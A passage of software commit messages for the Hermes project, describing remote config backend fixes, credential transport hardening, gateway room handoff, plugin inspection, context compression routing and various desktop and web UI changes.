  spritesheet helpers -> tui_gateway/pet_sheet.py. Callers import from
  the defining module (no re-export).
- BLE001: _load_config_dict catches YAMLError/OSError/UnicodeError;
  run_migrations inlines the step loop again (the moved blind except
  keeps main's identity); the two intentional fail-opens carry
  '# health: allow' with their reason.
1. Grouped edits: new write_config_keys(path, {key: value}) sends related keys as ONE backend
   write (one CAS PATCH in remote mode), so a lock on any key refuses all of them.
   persist_model_selection, the TUI /focus setter and the thinking_mode setter use it; the TUI
   gets _write_config_keys (one raw round-trip save with the file backend). File-mode writes
   are unchanged (key by key, comment-preserving).
2. Migration reads: _postprocess has no single flight any more. A reader or writer that finds
   the published doc unmigrated runs its own private pass; the first to finish publishes
   (generation-fenced, st.postprocessed set only on publish). read_user_layer /
   read_user_doc_readonly snapshot only completed output (_snapshot re-completes when a poll
   lands in between), and write_changes prepares only against completed output. Waiting on the
   other pass instead could deadlock on _CONFIG_LOCK; private recursion is unchanged.
3. Docs: developer-guide/config-backend.md says the remote backend ignores the managed
   config.yaml while the managed .env still applies.
With HERMES_CONFIG_BACKEND=remote the success line printed get_config_path() although the write
went to the plane's profile level and no local file exists. The backend now names its write
destination (ConfigBackend.destination); the file backend keeps the path byte for byte.
andrexibiza P1-A. The plane bearer (client.request) and the IdP client secret (_idp_token) were
sent to whatever HERMES_CONFIG_REMOTE_URL / GATEWAY_RELAY_IDP_TOKEN_URL held, over urlopen's
default redirect-following opener.

New remote/destination.py is a transport policy, not a host allow-list (D19 keeps the plane URL
operator-selected):
- https only; plain http only to localhost / 127.0.0.1 / ::1 (tests, local development);
- no user info, query or fragment in the configured URL (an ambiguous destination);
- credentialed requests use an opener with no redirect handler: any 3xx raises
  CredentialDestinationError instead of being followed.

The URL is checked before the bearer is resolved and before the IdP secret is encoded, so a refusal
sends nothing. CredentialDestinationError is a non-retryable PlaneCredentialError: boot fails
closed at once (no retry sleeps), writes refuse with config_plane_unreachable.

Tests (test_remote_credential_destination.py, 25): foreign ambient http origin, https->http
downgrade of the default, other schemes, userinfo/query/fragment refused before send with the
bearer never resolved; D19 default, on-prem https and loopback http allowed; real cross-origin
301/302/303/307/308 from a loopback plane and 302/307/308 from an IdP: the target listener sees
no request; boot through the real backend fails closed with zero plane/token requests. All 25
fail with client.py/credentials.py reverted.
The rebase onto main brought new lint rules (UP006/UP037/RUF100/RUF059/PLW1510/B009) that the
PR's own files did not meet, and main code that reads/writes config.yaml directly, which the PR's
reader gate (scripts/check_config_yaml_readers.py) refuses. No behaviour change in file mode.

- ruff --fix (safe fixes only) on the PR's files; explicit check=False / unused-name fixes in tests.
- gateway/session_config.py (new on main): the multiplexed 'mtime' getter uses config_version /
  config_exists, like tui_gateway's _cfg_get_mtime.
- hermes_cli/prune_advisor.py (new on main): decide() writes sessions.auto_prune through
  config_backend.write_config_key (a remote refusal is the existing "could not save" answer).
- hermes_cli/profiles.py _strip_multiplex_flag (new on main): config_exists, not Path.is_file().
- hermes_cli/config_backups.py / update_receipt.py: annotated as file tooling / pre-swap
  interpreter (both already gated on file tooling or run without the backend importable).
andrexibiza P1-B. ConfigBackendUnavailable subclasses SystemExit on purpose: a fail-open reader
must never serve defaults instead of the selected backend's config, and boot fails closed. That
contract stays. But long-lived consumers caught only Exception, so a plane blip after boot killed
the thread (or, inside an asyncio task, stopped the gateway's event loop).

The six named sites, each with its own outcome:
- gateway/readiness._probe_config: the existence check moved inside the guard; the outage reports
  {"status": "degraded", "detail": "config backend unavailable"}.
- cron/scheduler._load_cron_job_config: still refuses defaults (its except Exception lets the
  outage through); run_job, the fire's owner, now catches it and returns that fire's failure
  result; _run_one_job_body records it like an Exception (mark_job_run(False), finish_execution,
  crash notice) instead of re-raising into the ticker.
- cron/jobs._main_model_pin (moved to cron/jobs_model_pin.py to keep jobs.py under its cap):
  raises ValueError, so pinned=True create/update is refused as invalid input instead of silently
  dropping the lock or exiting.
- tui_gateway/server._profile_configured_cwd: None (logged); the cwd is a hint.
- tui_gateway/server._load_cfg_raw: the designed FailedConfigRead; _refuse_failed_read now
  refuses to save it with "could not be read", not "formatting error".
- tui_gateway/prompt_attachments._profile_attachments_storage: "" (logged): attachments stage in
  the profile home the sandbox mounts and the vision allowlist cover.

The owners above every other config read on a long-lived path (sweep in the PR body):
- TUI request owner already answers 4064 (_handle_admitted_request); deferred agent-build and
  resume-hydration threads now report agent_error / the resume failure and release their waiters;
  compute_host turn and frame workers answer turn.error / their error frame.
- gateway platform turn (_process_message_background) notifies the user and ends the turn
  instead of re-raising this SystemExit into the loop; api_server gets an outermost
  config_unavailable_middleware (503) since entering a profile scope reads config; the served-
  profile reconcile watcher and _serve_profile_runtime park the profile for the next rescan.

Tests: tests/plugins/config_backends/test_remote_unavailable_consumers.py (13), each raising the
real ConfigBackendUnavailable from the seam the consumer calls; every production file's fix was
reverted alone and its test(s) went red.
apply_config_bootstrap_env returns early under worker_config_snapshot(), as load_hermes_dotenv
does, so a frozen-policy worker's first config read no longer opens <profile>/.env or .op.env
(tests/hermes_cli/test_corelane_frozen_worker_skill_env.py[config]).

load_hermes_dotenv re-publishes the deployment names via bootstrap_deployment before boot instead
of applying the full managed overlay early, so the managed overlay keeps running once, after
external secret sources (tests/agent/test_safe_worker_policy.py[ordinary] callback order);
the managed instance id still reaches the boot (test_instance_id_from_the_managed_dotenv_boots).
1. A document save is diffed against the base the saving context READ (per-context
   _READ_BASE recorded by read_user_layer / read_user_doc_readonly / version and after the
   context's own acknowledged write), not against whatever a poll installed between the read and
   the save. save_config's fail-closed guard read keeps the caller's read base. A poll before save
   no longer turns its changes into our unsets/sets with the current expectedVersion.
2. persist_model_selection (remote): a key the switch clears that the effective model block
   still holds is stored as null ("no value", contract 5.4), not unset at the profile level, so
   an upper-level old-endpoint api_key/key_env/api_key_env/context_length stops applying at the
   new endpoint. New config_backend.write_changes carries explicit nulls.
3. profiles.configure: skills / toolsets / MCP sections report applied only when the section
   reads back as written; a bulk save that dropped a locked key is no longer acknowledged.
4. _dotenv_assignments decodes UTF-16 (BOM) and strips NULs as the runtime sanitizer does, so
   stage2 / first-read selection agrees with the backend the runtime boots.

Regressions (each fails with the production change reverted):
test_poll_between_read_and_save_sends_only_the_callers_edit,
test_model_switch_masks_inherited_endpoint_credentials,
test_profile_editor_reports_a_locked_skills_edit_as_not_applied,
test_stage2_decides_like_the_runtime_for_utf16_dotenv[utf16-bom|utf16-no-bom].
1. _write_config_state (atomic_config_write: /verbose, /footer, ...) runs its no-omission guard
   read under keeping_read_base, like save_config, so a poll between the caller's read and its
   save no longer becomes the base its stale document is diffed against.
2. Dashboard / profile model assignments (_apply_main_model_assignment: POST /api/model/set,
   profile builder, custom endpoints) share persist_model_selection's semantics under Remote
   Config: apply_model_selection(mask_cleared=True) stores null for a cleared key the effective
   block holds, and remote_model_selection_guard refuses the whole assignment when any changed
   model.* key is locked (a bulk save would otherwise omit it and land a half route).
   persist_model_selection now builds its keyed write from the same _merge_selection_updates.
3. profiles.configure MCP acknowledgement compares enabled AND the legacy disabled field per
   server, so a lock that kept disabled: true reports mcp_servers unapplied.

Regressions (each fails with the production change reverted):
test_poll_between_read_and_atomic_config_write_sends_only_the_callers_edit,
test_dashboard_model_switch_masks_inherited_endpoint_credentials,
test_dashboard_model_switch_refuses_whole_assignment_on_a_locked_route_key,
test_profile_editor_reports_mcp_unapplied_when_legacy_disabled_cleanup_is_locked.
1. _resolve_assignment_credentials (POST /api/model/set) and the custom-endpoint make_default /
   activate paths replaced an inherited model.api_key with the target provider's key_env by
   popping it. Under Remote Config the block is the effective one, so the pop became a profile
   unset that cannot reach the upper level, and the inherited inline key (which outranks key_env
   at runtime) stayed active at the new endpoint. drop_model_key stores null for a key the
   effective block holds (file backend: plain removal), the same mask apply_model_selection uses.
2. remote_model_selection_guard is a preflight; a lock published after it was still silently
   omitted from the document save, landing a half route with ok=true. New
   config_backend.refusing_locked_omissions("model") scope: the remote backend's document intent
   raises ConfigLockedError (HTTP 403, nothing sent) when a lock it sees at save time covers a
   changed key under the scoped prefix. Wrapped around every whole-document model assignment save
   (dashboard main slot, profile builder, custom endpoint make_default / activate). The CAS retry
   already refuses a locked key through _patch_body's write_check.

Regressions:
test_dashboard_model_switch_keeps_mask_when_target_provider_carries_key_env (fails with the pop
restored), test_dashboard_model_switch_refuses_when_a_lock_lands_after_the_guard[poll] (fails
with the scoped refusal disabled), [cas-retry] (coverage of the existing retry refusal).
POST /api/providers/custom-endpoints with make_default and the activate route write
providers.<id> and the model route naming it in one document save. Only model.* was in the
refusing_locked_omissions scope, so a lock on providers (up front, or published before the save's
poll) silently dropped the entry while model.provider=<id> landed with ok=true; the runtime then
raised Unknown provider. The scope now covers model, providers and custom_providers on both paths
(HTTP 403, nothing saved). The CAS retry already refused through _patch_body's write_check.

Regression: test_custom_endpoint_make_default_refuses_when_its_provider_entry_is_locked
[locked, late-poll fail with the scope narrowed back to model; late-retry covers the retry path].
puts back what that build deliberately left for the remote backend, on
main's seam shape:

- RemoteBackend implements main's protocol (read_user_doc, probe_readable)
  and is not a FileBackend; _route returns (backend, home) and explicit
  files go through _ExplicitFile, so the is_layer branches are gone.
- One bootstrap: _ensure_bootstrap_env / bootstrap_deployment select the
  backend from the process env, the launch home's .env and the managed .env.
  #134362's _dotenv_backend_override did not survive its file-only refactor,
  so nothing stacks; its rules are now tests (stale shell remote + .env file
  boots file; empty .env value resets to file; .env-only remote selects
  remote; an absent key keeps the shell value).
- The file-tooling gates main removed (backup/import/snapshot restore,
  config edit, migration write-back, config backups, profile clone and
  distribution install, raw config editor, xAI migration, gateway --config).
- profile_serve_signature uses the backend version for config.yaml.
- restore_config_model_settings_if_rewritten is a no-op without file tooling.
- PM's dependency runtime reads a home's selection from the local file it
  publishes to (config_backend.local_file_layer), so a remote deployment
  never needs the plane there or fails PM closed.
- Ratchet: _container_slots/_validate_quoted_containers move to
  config_value_checks, _count_cron_jobs to backup_restore, the gateway
  --config load to gateway/config_loader.
CI on 86021e500e: pm.runtime.is_runtime() raises InstallError in an
application process with a packaged-runtime layout, so asking it on every
read_home_selection broke tests/pm/test_environment_build.py and
test_source_update_launch.py. A file deployment now never asks (main's
path, unchanged); a remote one treats InstallError as not-the-runtime.

tui_gateway.server._load_cfg_raw used the module-level config_version /
config_exists names from the rebase's import block, so
test_raw_config_cache_stat_errors could not inject the stat error main's
seam test injects through hermes_cli.config_backend. It now looks them up
on the module, as main does.
baf3a751ca made tui_gateway.server._load_cfg_raw look config_version and
config_exists up on hermes_cli.config_backend (main's patch point), so
test_tui_raw_config_read_is_a_failed_read_that_refuses_to_save patching the
server module's names no longer reached the read (review round 2, CI
Python tests 2/2).
main (76f2fdb794, 5f02a8c19e) added cache_version to the ConfigBackend protocol and keys
every parse cache (load_config, the TUI raw read, profile reads) on config_cache_version.
The remote backend lacked it, so every cached read in remote mode raised AttributeError.
Its version is already exact (etag + local generation), so cache_version returns it
unchanged. Test: config_cache_version follows the remote version across a poll; without
the method 41 tests in test_remote_backend.py fail.
After the rebase onto main f9ef116cfb, profile_serve_signature keeps main's always-digest
file_cache_version for config.yaml on the file backend (#111105, f09d03dfe2) and takes the
backend version only when the backend has no config file (supports_file_tooling() False).
The fake remote backend in the test now says so.
HERMES_CONFIG_BACKEND=<kind> now resolves to plugins.config_backends.<kind>.get_backend() (a
direct import, never the general plugin loader, D11), with the kind checked against a package-name
pattern before any import. What core read from the remote plugin's internals is a protocol method
with a no-op FileBackend version: bootstrap_env_names() (env_loader's .env bootstrap),
preserve_read_base() (keeping_read_base) and doctor_warnings() (hermes doctor).

Addresses teknium1's P2-1 on #122509.
HERMES_CONFIG_REMOTE_POLL_SECONDS is gone: the interval is 300 s (the 30 s floor stays), so no
new non-secret HERMES_* env var is needed before config can be read. A plane-served interval is a
later cross-repo change. The environment-variables reference now lists HERMES_CONFIG_REMOTE_URL
and HERMES_CONFIG_INSTANCE_ID next to HERMES_CONFIG_BACKEND, with why each must be env.

Addresses teknium1's P2-2 on #122509.
backend.py and diff.py each defined _set_path/_pop_path, and the two _pop_paths already returned
different things (None vs bool). backend.py now imports diff.py's pair; its callers ignore the
result, so only the duplicate goes.

Addresses teknium1's P2-3 on #122509.
destination.display_url() drops user:password@ from a URL (an unparsable one is cut at the last
@). The boot error, describe(), the user-layer provenance, the destination policy's own errors,
the redirect refusal and the IdP failure all show that form; the request itself still checks
(and refuses) the URL as configured.

Addresses teknium1's P3 (refused URL echoed with credentials) on #122509.
The refusal printed to stderr and exited 0, so a script could not tell it from a successful edit.
It now exits 1 like the other config refusals (_exit_invalid). The managed-install refusal next
to it still exits 0: every managed_error caller (set, unset, save, update) shares that behaviour,
and changing it is outside this PR.

Addresses teknium1's P3 (config edit refusal exits 0) on #122509.
It is a SystemExit, so except Exception won't stop it, and file-mode CI never runs remote mode.

Addresses teknium1's P3 (maintenance note) on #122509.
`hermes config set display.skin ares` with `ares` already supplied by an
upper level printed "Set ... in Remote Config" but sent no PATCH: the
document save diffed the key away as unchanged. A later upper-level
change then replaced the user's choice.

Keyed Changes.set and keys named in a new `pinning_keys()` block (the
CLI's `config set` document save) are now sent even when unchanged,
matching the file backend, which always writes them to config.yaml.
A key a lock already freezes is skipped, not refused.
The IdP token cache was keyed on (token_url, client_id, scope), so a
rotated GATEWAY_RELAY_IDP_CLIENT_SECRET kept serving the bearer cached
under the old secret until it expired. The key now includes a digest of
the secret.
A native Desktop on a standalone `hermes serve`/`hermes dashboard` (no session
authority) kept rooms in the root shared-state.db with its own driver, so they
never appeared in the gateway's list that the Webapp and gateway-backed Desktop
share.

- tui_gateway route: when a ready gateway serves the profile, the Desktop's
  groups.* calls go to it (owner_forward.forward_rpc, the path prompts already
  use); with no gateway they run locally as before. RoomLink peer methods stay local.
- gateway: on hosted-service start the root home's gateway fences each
  standalone room in shared-state.db (authority.lost to `<install>:gateway-store`,
  so the standalone driver stops binding it and every write there is refused),
  then copies the fenced rooms it lacks into its state.db and claims them
  (authority.claimed, owner = host owner). Idempotent and crash-safe; the source
  rows are kept.
- gateway-less standalone list hides rooms already handed over.

Refs #144648 (WA-19)
Refs #145184
A profile-bound ticket made the gateway refuse a room seating a served sibling
profile (member_roster siblings=False) that the same Desktop could create
standalone. Live: Desktop-on-serve create default+p2 -> permission_denied before,
stored in the gateway's state.db after.

Refs #144648 (WA-19)
Review of #145629:

- The import skips every room id the gateway store has ever known, held or
  reserved in hosted_room_retired_ids, so a room disbanded in the gateway is
  not copied back from its fenced standalone source once the tombstone is
  pruned. Handed rooms are also recorded in the source
  (hosted_room_gateway_handoffs) and never offered again.
- A standalone backend writes locally only when no gateway serves the
  profile (absent, or an incompatible one that never imports). A starting or
  restarting gateway is waited for (20 s bound), any other present one is a
  retryable refusal. The gateway imports once more right after ready, off
  the loop, in the owning profile's scope.
- Room calls go to the store that holds the room: standalone-only rooms run
  locally, rooms handed to the gateway go to the root gateway (the only one
  that imports), everything else to the selected profile's gateway.
  groups.list merges them, so a named-profile gateway never hides an
  existing room.
The live named-profile leg (default + `-p p2` gateways) listed the handed
room but its groups.state came back permission_denied: the call carried
profile=p2 to the root gateway, which serves only its own profile.
A standalone backend routes a handed room to the root gateway, but with that gateway absent the
call fell through to the local handler. rename_room does not check the local authority, so it
renamed the frozen source copy and reported success; the gateway's copy kept the old name and the
import marker never copies the source again. With no gateway to reach, every call on a handed room
is now the retryable owner-unavailable refusal; rooms only the standalone store holds still run
locally.
The importer tests called it directly, so unhooking it from _ensure_hosted_service went unnoticed.
This drives the real start with a SessionDB and writer epoch (only the transport install stubbed)
and checks the gateway store lists and binds the standalone room.
Under plugins.isolation: host, _import_hosted_plugin_dir had no "already
imported" guard, unlike the in-process path (_exec_plugin_module checks
sys.modules). Every rescan of the home layer -- an unsettled plugin-dir
stamp (the dir was created within the 2 s mtime tick) once the 1 s stamp
TTL lapses, or another plugin dir landing while the process runs -- ran
the whole hosted import again: another host extraction, fresh proxy
objects replacing the ones callers already hold, and the in-process
warning for a create_client profile logged again.

main's test_create_client_profile_loads_in_process_and_its_sibling_stays_hosted
hit it on the Windows arm64 runner (assert 3 == 1): the plugin host's
first start there took over a second, so the next lookups landed past the
TTL with the stamps still unsettled and rescanned.

The layer now records the module names it holds as hosted proxies and
skips them on a rescan; a failed host extraction or in-process import is
not recorded, so the next scan retries it as before.
collect_orphan_install_states released a state's .install.lock and only then unlinked it.
A launcher from a checkout re-created at the recorded path that had already opened the
lock (waiting on the collector) got it on release, the collector then unlinked the file it
held, and the next launcher created a fresh lock file at the same path and took it too:
two installers in one state. Predates #145527; that PR narrowed the window.

- pm.filesystem.lock_path: open + lock, then on POSIX confirm the held descriptor is still
  the file at the path (samestat; missing = stale) and otherwise retry on the current one,
  inside the caller's timeout. Optionally re-creates the parent the remover took.
- runtime_lock and install_states._install_lock (the only .install.lock acquirers of an
  install state) take the lock through it.
- The collector unlinks the lock file while still holding it on POSIX, so a waiter always
  sees it gone; on Windows an open file cannot be unlinked, so the unlink stays after
  release and a waiting launcher's open handle makes it fail.
A FileNotFoundError on the lock file was retried whenever the caller asked for its parent
directory to be re-created, so a dangling symlink at .install.lock spun one CPU forever and
ignored the timeout (main raised at once). Retry only when the parent really vanished, and
never past the deadline, on either retry path.

Tests: pin the collector's unlink-while-held order (worst interleaving: removal after
release lands once a waiting launcher holds the lock) and the dangling-symlink failure.
The install dialog inspected a repository only through Electron's
probePluginRepo. The browser-hosted app has no such bridge, so every
install stopped at "Plugin inspection is unavailable in this
environment" with a Retry that could never succeed.

Add a read-only plugins.manage inspect action. It resolves the source
with the installer's own rules, applies the kill list, clones into a
temporary directory outside every profile (catalog entries at their
reviewed pin) and reads only the manifest files; no plugin code is
imported or run. The renderer keeps Electron's inspection when present
and otherwise asks the gateway, with the same stale-result protection.

In the browser a desktop half cannot be installed: a mixed package now
installs its agent half and reports the desktop half as unavailable,
never as installed, and a desktop-only package says there is nothing to
install. Retry is hidden when it cannot help (inspection unsupported by
the backend, nothing installable here).
Windows footgun gate: manifests read with utf-8-sig so a BOM-prefixed plugin.yaml/plugin.json is still recognised, and the inspection tests decode git output as UTF-8 instead of the locale codepage.
The browser waits 120s for plugins.manage inspect, but a clone may run up to plugins.clone_timeout_seconds per Git step (300s default, 3600s max). A slow but valid repository finished after the client gave up, and Retry started another clone under the same deadline, so the install never got past inspection.

A repeat of the same inspection (profile home, catalog name, source) now joins the clone still running for it, or reads a successful answer it produced within ten minutes. Failed reads are never kept, so Retry after a real failure inspects afresh, and each profile keeps its own answers.
The gateway inspection reported which halves a source ships but not the
commit it read, so for an unpinned Install from Git the reviewed tree and
the installed tree could differ if the source moved in between. Return
the inspected HEAD as `sha` (a catalog entry's is its reviewed pin) and
carry it through inspectAgentPlugin, so the install can be held to it the
way the native Desktop probe's will be. A cached answer keeps the sha it
read.

The component-detection rules now live in two inspectors (Python and
Electron). tests/fixtures/plugin_component_detection.json holds one set
of cases both run, registered as a shared fixture so editing it runs the
pytest and vitest consumers.
Since the unified gateway, session.mutate(compress) always summarized with a
fresh native ContextCompressor and published the rewrite. A plugin context
engine (context.engine: <plugin>) was never asked to compress and never saw
the compaction boundary, so the next agent's engine re-stored the retained
replies it had already stored (LCM-X: 10-11 surplus rows per forced
compaction).

prepare_compress now compresses with the session's own engine when it is a
plugin: the resident agent's engine, else the one the frozen policy names,
selected and bound the way agent init does. After the receipt commits (and
before the boundary eviction), the gateway sends the agent path's
post-commit notification: on_session_start(boundary_reason="compression")
plus the relay/metrics segment hand-off, which the native gateway path also
skipped. A cold session's one-off engine then gets on_session_end, the same
boundary a resident agent's eviction gives. The revision/generation fences
and publication ownership are unchanged.

Fixes #143587
Agent init assigns compression.model_thresholds to a plugin engine before
its first update_model(); the cold gateway path now does the same. The
context-engine guide states what manual /compress calls and which boundary
hook follows the commit.
Review follow-ups on the engine-routed gateway /compress:
- a plugin result larger than the original is refused like the agent
  path does (report: "Compression refused (summary would grow ...)").
- a cold session's engine gets model.context_length (when it describes
  this runtime) or the custom provider's window, as agent init passes it.
- a one-off engine gets on_session_end on every exit: no change, a raised
  compress(), a refused commit; the compression boundary stays
  commit-only.
On iPhone Safari a single tap on the composer did nothing (only a long
press placed the caret), and the focused editor had autocapitalize,
autocorrect and spellcheck off, so phone typing got no sentence casing,
correction or spelling marks.

On a touch browser host ($touchPointer) the composer editor and the
message edit composer now:
- set autocapitalize="sentences", autocorrect="on", spellcheck
- focus themselves from the touchend of a short, still tap (<=10 px,
  <=500 ms) when not focused yet, with the caret at the tap point.
  focus() inside touchend runs in the user gesture, so iOS opens the
  keyboard. Scrolls, drags, long presses and taps in an already focused
  editor stay with the browser.

Native Desktop and mouse browsers keep today's attributes (off, with
macOS autocorrect for text replacement) and get no touch handlers.

The workaround is the one @mgzqgt4sdm-max confirmed on an iPhone in
#145166. Why Safari drops the synthetic click is still unknown: a
Chromium iPhone-emulation probe of the served Webapp found no
preventDefault on the tap's touch/pointer/mouse events, no replaced
editor node and nothing revealed by hovering the composer.

Refs #144648 (WA-25)
Refs #145166
The composer tap-focus compared only the touch start and end points,
so a drag that went down and back within 500 ms counted as a tap.
onTouchMove now cancels the pending tap once the finger leaves the
10 px radius.

Refs #144648 (WA-25)
Add lib/host-capabilities.ts: a frozen table of named capabilities, each
owned by one host (browser tab or native Electron), and hostHas(name),
which reads the host through isBrowserHostedDesktop() on every call.

The parity test evaluates every capability against the old predicate in
every host state (browser marker, gated host and Webapp surface before the
marker, electron marker, preload present, no signal).

Refs #144648 (WA-26)
Refs #145546
Mechanical: each isBrowserHostedDesktop() call becomes hostHas(<capability>)
(negated where the capability is native). No behavior change on either host.

Refs #144648 (WA-26)
Refs #145546
Mechanical: each isBrowserHostedDesktop() call becomes hostHas(<capability>)
(negated where the capability is native). No behavior change on either host.

Refs #144648 (WA-26)
Refs #145546
Mechanical: each isBrowserHostedDesktop() call becomes hostHas(<capability>)
(negated where the capability is native). No behavior change on either host.

Refs #144648 (WA-26)
Refs #145546
Mechanical: each isBrowserHostedDesktop() call becomes hostHas(<capability>)
(negated where the capability is native). No behavior change on either host.

Refs #144648 (WA-26)
Refs #145546
The parity test read its expectation from HOST_CAPABILITIES, the same
table hostHas() reads, so a capability given the wrong host passed. It now
lists every migrated call site with the condition it read from
isBrowserHostedDesktop() on the base commit and the expression it reads
now, and checks both pick the same branch in every host state. Flipping
retryTerminalSpawn to native turns 6 of 7 tests red.

Refs #144648 (WA-26)
Main's browser-shortcuts change added a raw host check in
keybinds/actions.ts hostDefaults (native chords vs the browser's Alt /
Ctrl+Cmd forms). Name it browserShortcutDefaults in the capability table
and add its old condition to the parity oracle.

Refs #144648 (WA-26)
Any unknown JSON-RPC method on the tui_gateway route answered "the client and the Hermes
backend are out of sync (different versions)", which the Desktop/Webapp toast turns into
"update both" even on matching versions. A JSON-RPC client sends no version, so neither
route can know the versions differ: both now answer -32601 "unknown method: <m> — not
available on this Hermes backend" from one helper (the "unknown method:" prefix clients
match on is unchanged).

The concrete case was the group composer's groups.attachment.upload, which only the
gateway route served, while HostedRoomServerRPC declared accepts_attachments=False so a
member turn with a file failed attachments_unsupported_on_route. The tui_gateway route now
serves groups.attachment.upload/download over the same room attachment store, and its
member transport resolves event-bound bytes per member exactly like the gateway route
(bound_submission_payload, shared): documents ride as prompt path lines, images as an
in-process-only _hosted_images list handed to the turn as its image paths.

Refs #144648 (WA-20)
Refs #145184
Layered on the salvaged budget commit: the limits are read with
load_user_config_effective (the gateway-runtime loader: user file + managed overlay +
${VAR} expansion) inside the room owner's scope, and a malformed value is logged and
falls back to today's 3 rounds / 10 replies instead of failing the service construction,
which would take every room on that store offline. Docs say so.

Refs #144648 (WA-21)
Refs #145184
The budget reader and the tui_gateway member-file resolution imported gateway.run for
_profile_runtime_scope, pulling the whole gateway facade (and its bootstrap) into a room
service constructor just to point get_hermes_home() at the owner or member home. Both need
only the home override; the budget reader names the owner config file explicitly.

Refs #144648 (WA-20, WA-21)
Review follow-ups on #145566:

- Policy checkpoint: turn.deferred receipts (explicit user retries) are bounded on
  their own, so a discussion configured to its full max_rounds no longer stalls when
  a deferred turn is retried while it runs.
- Both routes run a member's file preparation through prepare_before_submit: a file
  the member can never take (over gateway.max_inbound_media_bytes, unbound, expired)
  settles the turn as failed; a transient failure is proven not admitted and is
  requeued with backoff. Neither pauses the room as uncertain execution.
- Ink TUI: the backends' "not available on this Hermes backend" answer is no longer
  read as version skew; it renders a translated methodUnavailable line. The
  invalid-params skew warning and older backends' bare wording are unchanged.

Refs #144648 (WA-20)
An external memory provider is additive: MEMORY.md / USER.md stay loaded
in every session. The Memory surfaces did not say so, and Desktop/Webapp
Settings > Memory & Context showed only the provider select plus the
built-in toggles, so a working provider read as "not in effect".

- Desktop + Webapp: new MemoryLayersSummary (Settings > Memory & Context >
  Persistent memory, and Command Center > Maintenance) names the active
  provider with its readiness from GET /api/memory (or "None - built-in
  memory only") and labels MEMORY.md / USER.md as the built-in layer,
  "Always on". On Settings it follows the live memory.provider draft.
- Dashboard System page: "Active memory provider" and a "Built-in layer -
  always on" label with the additive note, through web i18n.
- MemoryStatusResponse now types the per-provider status the server
  already returns; getMemoryStatus takes the Settings scope profile.

No endpoint change: GET /api/memory already returns active + status.

Refs #144648 (WA-22)
Refs #145546
Fixes #145175
The Maintenance panel has no Memory Provider field, so the hint names
the Settings page that owns it.

Refs #144648 (WA-22)
The dashboard Memory card moves into its own MemorySection and the
Settings slot decides its own visibility, so SystemPage and
ConfigSettingsInner end no larger than on main (code-health ratchet).

Refs #144648 (WA-22)
Review on #145574:
- The Settings summary labelled the unsaved memory.provider draft "Active
  memory provider" even when GET /api/memory named another one. The draft
  now shows as "Selected memory provider" (not active yet, naming what
  sessions keep using), and the active row and recall copy come only from
  status.active. A config autosave that touches `memory` refetches.
- Readiness refreshes after an inline credential save, a full-config modal
  save and OAuth completion ($memoryStatusRevision); a failed status read
  shows "Memory status unavailable" with Retry instead of dropping the badge.
- The built-in row reflects memory.memory_enabled / user_profile_enabled in
  Settings ("On by default" where the config isn't loaded), and recall is
  claimed only for a ready provider. Web dashboard copy drops "always on".
- isExternalMemoryProvider matches the backend's full sentinel set,
  including `default`.

Refs #144648 (WA-22)
Refs #145175
A web UI tab (Webapp / gateway web UI / dashboard) opened before
`hermes update` keeps referencing the old hashed page chunks. The update
rebuilds web_dist with emptyOutDir, so the first page the stale tab opens
404s on its chunk; there is no error boundary, so React unmounts the whole
app and the tab goes blank until the user reloads by hand.

Listen for vite:preloadError (fired for every failed lazy import and chunk
CSS preload) and reload once; index.html is served no-store, so the reload
picks up the new build. A sessionStorage timestamp limits it to one reload
per 5 minutes per tab, and only build chunks under /assets/ qualify, so a
broken plugin bundle never triggers it.
The tests called reloadForChunkLoadError directly, so a broken listener in
startChunkLoadRecovery would stay green. startChunkLoadRecovery now takes the
storage and reload seams, and the tests dispatch the event itself: one reload
then suppression, chunk CSS / Safari / Firefox messages, and throwing storage.
Renaming the listened event turns 4 of the new cases red.
Review on #145357 (@unsupportedpastels):

M1: a failed chunk request reloaded even when nothing was rebuilt (a
network abort, offline). Before reloading, fetch the page's index.html
with cache: no-store and reload only when it names a different built
entry than the running one; skip while offline and in dev. Otherwise
the import rejects as before.

M2: the single tab-wide 5-minute timestamp suppressed recovery for a
later build (A -> B -> C inside the window). The session guard now
records the entry the tab reloaded away from, so a repeat on the same
build (or a reload that lands on it again) is suppressed while a newer
build can still recover.
The Bots roster lists gateway-hosted Group Chats (the rows under "Refresh
gateway groups") as plain buttons with no context menu, so right-click
fell through to the window's generic menu and a room could only be
disbanded from inside its header. Each row now has Open Group Chat and a
destructive Delete. Delete opens the same "Disband group chat?" confirm
the room header uses and calls groups.disband on the room's own gateway;
on success the row leaves the list, its bindings are forgotten and a pane
or tab still showing it closes. A refusal keeps the row and shows the
gateway's error in the confirm.

Refs #143571
openGroupChat records a name-opened tab and selection under the room name,
but disbandListedRoom closed only the minted canonical: key before forgetting
the bindings, so a name-opened view survived the delete and fell back to a
missing-room screen. Collect every view string the room's bindings alias
(same connection, profile and room id: canonical keys and route-scoped name
aliases) before forgetting them, and close each. Another room stays open.

Refs #144648
Refs #143571
The wizard posts `provider: custom` plus the submitted `base_url` to
POST /api/model/set. `_normalize_main_model_assignment()` resolved the bare
`custom` through `resolve_custom_provider()`, whose legacy recovery returns
the FIRST named custom provider, and `switch_model()` repeated the same
recovery. The save returned ok with the old provider's URL, the new endpoint
was never registered, and model.api_key paired the new key with the old host.

A bare `custom`/`local` pick that carries a base_url now skips that lookup in
`_prepare_main_assignment()` and validates with no named custom providers, so
the submitted URL is the route and `_register_custom_endpoint()` lists it.
`resolve_custom_provider()` is unchanged: a bare `custom` without a URL still
recovers the named provider for old configs.

Diagnosis by @TianYiTian in #145466.

Refs #144648 (WA-18)
Refs #145546
Fixes #145466
With the active named provider's URL in model.base_url, switch_model() arrived at bare
custom "from another provider" and re-resolved custom from config, so the probe checked
the saved endpoint (and its key) before the submitted URL was restored. Seed the
submitted endpoint as the current bare-custom route so the credential step keeps it.

Refs #144648 (WA-18)
The wizard posts the bare `custom` selector with its own URL/key. A `providers.custom`
block shares that name: validation still resolved it through user_providers (probing the
old host with its key), and persistence hydrated its key after applying the submitted one,
pairing the new URL with the old host's key.

A submitted URL is now request-local authority through both steps: colliding
providers.custom/local blocks are excluded from validation, and named-entry credential
hydration is skipped. Whether a URL was submitted is recorded before
_prepare_main_assignment fills one from a named entry, so a no-URL pick of
providers.custom still selects it, key included.

Refs #144648 (WA-18)
Refs #145466
The previous commit skipped every providers.custom block once the wizard submits a URL. That also
dropped a block pointing at the very endpoint being saved, so its key_env never reached the route
(tests/plugins/config_backends/test_remote_backend.py::
test_dashboard_model_switch_keeps_mask_when_target_provider_carries_key_env, red on CI).

